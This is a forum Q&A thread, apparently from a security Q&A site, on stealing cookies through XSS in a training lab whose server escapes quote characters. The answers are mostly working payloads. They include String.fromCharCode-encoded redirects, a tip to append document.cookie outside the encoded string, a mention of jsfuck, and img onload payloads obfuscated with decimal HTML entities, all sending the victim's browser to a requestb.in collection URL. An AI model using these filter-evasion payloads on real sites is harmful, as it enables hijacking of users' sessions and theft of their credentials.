1

I'm trying to steal a Cookie using XSS in a training lab. The problem is that the server escapes my quotes and double quotes. So if I want to use this payload for instance:

<script>document.location="http://requestb.in/XXXXXXX"</script>

No GET request is performed to "http://requestb.in/XXXXXXX" because of the ' and " getting escaped. (' turns into \' and " turns into '+String.fromCharCode(34)), thus the payload becomes:

<script>document.location=\'http://requestb.in/XXXXXXX"=\'</script>

OR

<script>document.location='+String.fromCharCode(34)+'http://requestb.in/XXXXXXX'+String.fromCharCode(34)+'</script>

So, which other means can one use to perform a Cookie Stealing in those conditions ?

Cheers

4

You don't need quotes. One possibility would be to use String.fromCharCode:

<script>
document.location=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 101, 120, 97, 109, 112, 108, 101, 46, 99, 111, 109, 47, 102, 111, 111, 98, 97, 114)
</script>

There is also always jsfuck, which lets you execute arbitrary JavaScript with just ()[]+!.

  • Thank you for your help but I have another problem now: converting requestb.in/XXXX?inspect=document.cookie with fromCharCode send a GET request to the requestb page but the "document.cookie" part does not seems to be executed by my browser as I can only see 'document.cookie' written in request bin and not its value – george Aug 27 '16 at 15:48
  • @george The result of fromCharCode is interpreted as string, as it should be. If you want to append the results of JavaScript code, that needs to happen outside of fromCharCode, eg fromCharCode(...) + document.cookie – tim Aug 27 '16 at 16:27
  • @tim very Nice answer. +1 For jsfuck. – Sravan Aug 28 '16 at 14:52
1

If it isn't neccesary to use script tag, you can use HTML tags like iframe or img, the most browsers can interpret them without quotes or double quotes.

<img src=http://requestb.in/XXXXXXX />

Also, you can use Decimal HTML Characters in methods of HTML tags.

<img src=# onload=&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#114;&#101&#113;&#117;&#101;&#115;&#116;&#98;&#46;&#105;&#110;&#47;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#39; />

<img src=# onload=document.location=&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#114;&#101&#113;&#117;&#101;&#115;&#116;&#98;&#46;&#105;&#110;&#47;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#39; />

<img src=# onload=document.location=&#39;http://requestb.in/XXXXXXXX&#39; />

Sample without semicolons:

<img src=# onload=&#0000100&#0000111&#0000099&#0000117&#0000109&#0000101&#0000110&#0000116&#0000046&#0000108&#0000111&#0000099&#0000097&#0000116&#0000105&#0000111&#0000110&#0000061&#0000039&#0000104&#0000116&#0000116&#0000112&#0000058&#0000047&#0000047&#0000114&#0000101&#0000113&#0000117&#0000101&#0000115&#0000116&#0000098&#0000046&#0000105&#0000110&#0000047&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000039 />

The last four samples are equivalent to the following code:

<img src=# onload="document.location='http://requestb.in/XXXXXXXX'" />

I hope this information helps you, good luck.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.